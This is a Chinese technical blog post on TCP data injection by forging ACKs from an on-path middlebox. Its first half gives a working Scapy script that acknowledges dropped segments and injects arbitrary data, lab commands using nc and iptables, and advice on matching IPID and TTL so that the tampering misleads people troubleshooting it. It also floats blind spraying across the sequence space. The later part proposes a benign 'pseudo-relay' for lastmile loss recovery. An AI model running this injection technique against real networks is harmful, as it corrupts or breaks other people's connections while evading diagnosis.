伪造ACK实现TCP数据注入

TCP创造并发展于1970年代～1980年代，这注定了它能工作但脆弱。

在TCP伊始，最重要的是可用，而不是高效，也不是安全，因此，在端到端TCP连接的中间，利用伪造的ACK，你很容易完成一种叫做 中间人攻击 的事情。

如果你用“TCP劫持”，“TCP中间人”，“TCP注入”等作为关键词百度或者Google，绝大部分内容都在SYN报文上做文章，诸如会话Reset，会话劫持，SYN Flood攻击等等，但实际上还有更好玩的恶作剧。

通过在中间路径上伪造ACK，你可以：

• 提前确认数据，扰乱TCP的ACK时钟，影响RTT测量。
  由于数据尚未到达receiver，提前伪造的ACK可以造成sender测量的RTT偏短，误导其BDP的测量。
• 乱序确认数据，扰乱ACK到达模式，影响拥塞控制。
  比方说倒序发送两个伪造的ACK，可以造成sender端burst数据引发拥塞(ABC机制可减缓)。
• 确认已经丢弃的数据，接收端空洞永无可弥补。
  只要sender收到ACK，数据就会从重传队列中永久删除，但事实上这个ACK是伪造的，真正的数据已经丢失。receiver将再也无法等到这个数据。
• 确认已经丢弃的数据，伪造数据弥补空洞实现注入。
  参照上面一点，既然receiver在苦等再也等不到的数据，中间人便可以伪造任意数据去填补这个空洞，实现数据注入。
• 伪造数据注入，使SSH，HTTPS等解密失败，TCP正常关闭。
  参照上面两点伪造数据注入HTTPS，SSH等加密连接，会造成解密失败，从而应用程序调用close关闭连接不是Reset掉连接。

是不是更有趣呢？特别是最后一点，大多数时候，程序员，运维以及经理在排查TCP问题的时候，总是盯着Wireshark里显示成红色的RST报文，现在他们有能力通过IPID字段的分布以及TTL字段判断该RST是不是来自中间设备了(几年前他们还做不到…)。然而，我让连接断开的方式并没有使用过时的RST，而是注入脏数据，序列号，IPID，TTL等均匹配，这样会很大程度扰乱程序员，运维和经理们的思路，让他们加班到头昏脑胀的时候陷入更加炼狱般的深渊。因此，在发送伪造ACK或者伪造数据的时候，你要做到：

• 伪造ACK或者伪造数据注入的时候，一定注意IPID，TTL两个IP层的字段，尽量和抓包位置看到的这两个字段匹配，这样才更逼真。比如，IPID保持单调小幅递增，TTL保持一致。

来来来，简单比划一下。

先看拓扑：

给出一个代码：

#!/usr/bin/python3
# forone.py
from scapy.all import *

def tuple_filter(dst, src, dport):
    def parsep(packet):
        if not packet.haslayer(TCP):
            return False

        saddr = packet[IP].src
        daddr = packet[IP].dst
        dst_port = packet[TCP].dport

        return saddr == src and daddr == dst and dst_port == dport

    return parsep

def fake_ack(iface):
    def parsep(packet):
        saddr = packet[IP].src
        sport = packet[TCP].sport
        daddr = packet[IP].dst
        dport = packet[TCP].dport
        seq = packet[TCP].seq
        ack = packet[TCP].ack
        flags = packet[TCP].flags

        if "S" in flags :
            return

        ack_seq = ack
        ack = seq + len(packet[TCP].payload)
        pkt = IP(src = daddr, dst = saddr)/TCP(sport = dport, dport = sport, flags = "A", seq = ack_seq, ack = ack)

        send(pkt, verbose = 0, iface = iface)

    return parsep

def fake_data(iface):
    def parsep(packet):
        saddr = packet[IP].src
        sport = packet[TCP].sport
        daddr = packet[IP].dst
        dport = packet[TCP].dport
        seq = packet[TCP].seq
        ack = packet[TCP].ack
        flags = packet[TCP].flags

        pkt = IP(dst = saddr, src = daddr)/TCP(dport = sport, sport = dport, flags = flags, seq = ack, ack = seq)/"pixie\n"
        send(pkt, verbose = 0, iface = iface)
        sys.exit()
    return parsep

if __name__ == "__main__":
    iface = sys.argv[1]
    dst = sys.argv[2]
    src = sys.argv[3]
    port = sys.argv[4]
    mode = sys.argv[5]
    if mode == "A":
        t = sniff(prn = fake_ack(iface),
                lfilter = tuple_filter(dst, src, int(port)),
                count = 5000,
                iface = iface)
    else:
        print("D")
        t = sniff(prn = fake_data(iface),
                lfilter = tuple_filter(dst, src, int(port)),
                count = 5000,
                iface = iface)

我们用nc模拟一个聊天程序，在host B上运行nc服务器：

# 172.18.0.1
nc -l -p 5001

在host A上运行nc客户端：

# 172.16.0.1
nc 172.18.0.1 5001

为了模拟丢包的获取，在Midbox上模拟一个针对性的丢包，这样简化我们的实验，实际环境中，还是要通过分析ACK序列来识别丢包：

# 172.18.0.2 & 172.16.0.2
iptables -A FORWARD -m string --algo bm --string "hello" -j DROP

通过抓包，我当然能获取这两个nc建立连接的四元组信息，我在Midbox上执行伪造ACK的逻辑，试图确认一个已经丢失的报文，即包含"hello"的报文：

# 172.18.0.2 & 172.16.0.2
forone.py enp0s9 172.18.0.1 172.16.0.1 5001 A

当host A输入hello之后，在Midbox执行伪造数据的逻辑：

forone.py enp0s10 172.16.0.1 172.18.0.1 53320 D

以下就是结果：

其实哪有这么麻烦，只要你让你注入的数据比原始数据跑得更快，就能抢占掉其Sequence的位置实现数据注入。

是不是比仅仅伪造一个RST把连接打断要更优雅呢？我一直都很喜欢的，就是打人的时候跳着舞，嘴里唱着歌而不是咒骂，就像《功夫》开头那样。

上面的这种伎俩非常初级且简单，但我的意思不是评价它，我是说，如果在一个交换机或者随便一个中间节点也好，旁落节点也罢，在上面部署上面python脚本里的那般逻辑，稍微简化一点，不再过滤任何元组，只需要做下面两件事：

• 见了TCP Payload length为非0的报文，就反向回复ACK确认该报文内的Payload。
• 见了TCP Payload length为0的纯ACK报文，就反向注入伪造的任意或精心准备的数据。

如果我们无法获得这样的部署位置，我仅仅随意伪造TCP四元组信息，然后利用反射原理哪怕遍历4G的sequence空间，执行上述逻辑，如何？

这相当于握着一把拥有无限子弹的冲锋枪盲扫。

程序员，运维，经理们会怎样？千万不要想办法阻止这个，以显示自己的能力，因为这种伪造ACK，伪造数据的事情甚至算不上是攻击，它是TCP固有的，充其量只是一种恶作剧，太认真就输了。

之所以写上面这段，目的当然是避免讨论，我很清楚很多程序员会抛来一万个dis，然后投送十万个解决这个问题的方法，我当然知道程序员是对的，所以自己知道自己的牛逼就好，不必让我知道，也不要鄙视我。

好了，坏事做完了，伪造ACK是不是也能做点有意义的事呢？

就着上面这些把戏，我觉得是可以玩点儿正向的花活儿的。

设想一个带宽还可以的长链路，即所谓长肥管道，lastmile丢包率非常高，TCP如何来应对这最后一公里的链路劣化？要知道，虽然仅这里丢包率高，长肥管道重新填被充是非常慢的。如何绕过去？

很不幸，绕不过去。因为lastmile的目的地就是终端，很难对这种不受控的终端进行额外的配置，不然，我们可以用以下方式创建一个分段隧道，在lastmile段采用抗丢包的CC：

但很不幸，我们很难在终端上部署隧道，所以大多数情况下，SD-WAN的方案并不好使。

那么只好搭建一个透明代理了。

用IP_TRANSPARENT option可以轻松构建一个TCP透明代理。

但是有比透明代理更高效简单的三层方案：

• 在lastmile转发节点为每一个路过的TCP连接cache住最大一个BDP的sequence连续的报文。
• 利用这些报文cache，实现下图的逻辑：
  

实际上就是实现一个超级简单的超时重传，快速重传机制。我称它为 伪中继 。

至于说实现，我觉得还是比透明代理和隧道都简单，其复杂性在nf_conntrack之下，我们可以想象用nf_conntrack的实现方式来完成这个：

• 以TCP四元组为键构建双向流量hash表。
• TCP报文到达时以四元组查询hash表，找到entry。
• 实现伪造ACK，定时器管理等逻辑。
• 基于滑动窗口保存至多一个BDP的sequence连续的数据报文。
• …

这里面有一个很有意思的点，很多擅长主机网络的看到上面这种伪中继把戏会提出很多质疑，比方说引入这么复杂的逻辑势必增加处理时延，数据结构的互斥读写的同步开销会消耗CPU进一步增加处理时延，诸如此类。

这个点就是， 我们处理的是长肥管道里的一条端到端的TCP，而不是主机收包或者发包路径。 一条TCP的RTT至少是ms级，长肥管道可达百ms级，为了应对lastmile的丢包引入的伪中继逻辑所带来的处理时延不过us级，这根本不是一个数量级上的事情。

此外，和分段隧道相比，伪中继是完全透明的，它不会损耗链路的MTU，而分段隧道至少要消耗一个TCP头/IP头的空间开销。

嗯，有个脑洞，分段隧道是不是也可以不用隧道模式，而用传输模式呢？不再进行再封装，而仅仅是在中间节点针对缓存的数据实施不同的CC算法。就是把上面的伪中继把戏推广到整个链路，推广到这个SD-WAN的Overlay网络，每个中转节点均对TCP数据进行缓存，在实施不同的CC算法发送数据的同时，实现超时重传逻辑和快速重传逻辑…

有点想多了。

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浙江温州皮鞋湿，下雨进水不会胖。